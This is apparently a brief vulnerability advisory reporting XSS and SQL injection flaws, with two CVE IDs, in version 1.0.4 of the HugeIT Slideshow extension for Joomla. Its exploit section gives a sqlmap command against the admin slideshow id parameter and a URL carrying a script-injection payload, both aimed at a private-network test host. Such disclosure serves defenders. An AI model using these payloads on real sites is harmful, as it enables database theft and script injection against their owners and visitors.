XSS & SQLi in HugeIT slideshow v1.0.4

#914 · 2016-07-17

CVE ID(s): CVE-2016-1000117, CVE-2016-1000118

Notified: 2016-07-17

Description:

Huge-IT Slideshow Extension is one of the powerful products that our company offers. It gives style and charm to your site and help to attract the attention of visitors to certain parts of the content.

Exploit:

SQLi:

$ sqlmap  --load-cookies=cookies.txt -u "http://192.168.0.125/administrator/index.php?option=com_slideshow&view=slideshow&id=*" --dbms mysql 

XSS:

http://192.168.0.125/administrator/index.php?option=com_slideshow&view=slideshow&id=1--%20%22%3E%3Cscript%3Ealert(1);%3C/script%3E

Download: http://extensions.joomla.org/extensions/extension/photos-a-images/slideshow/slideshow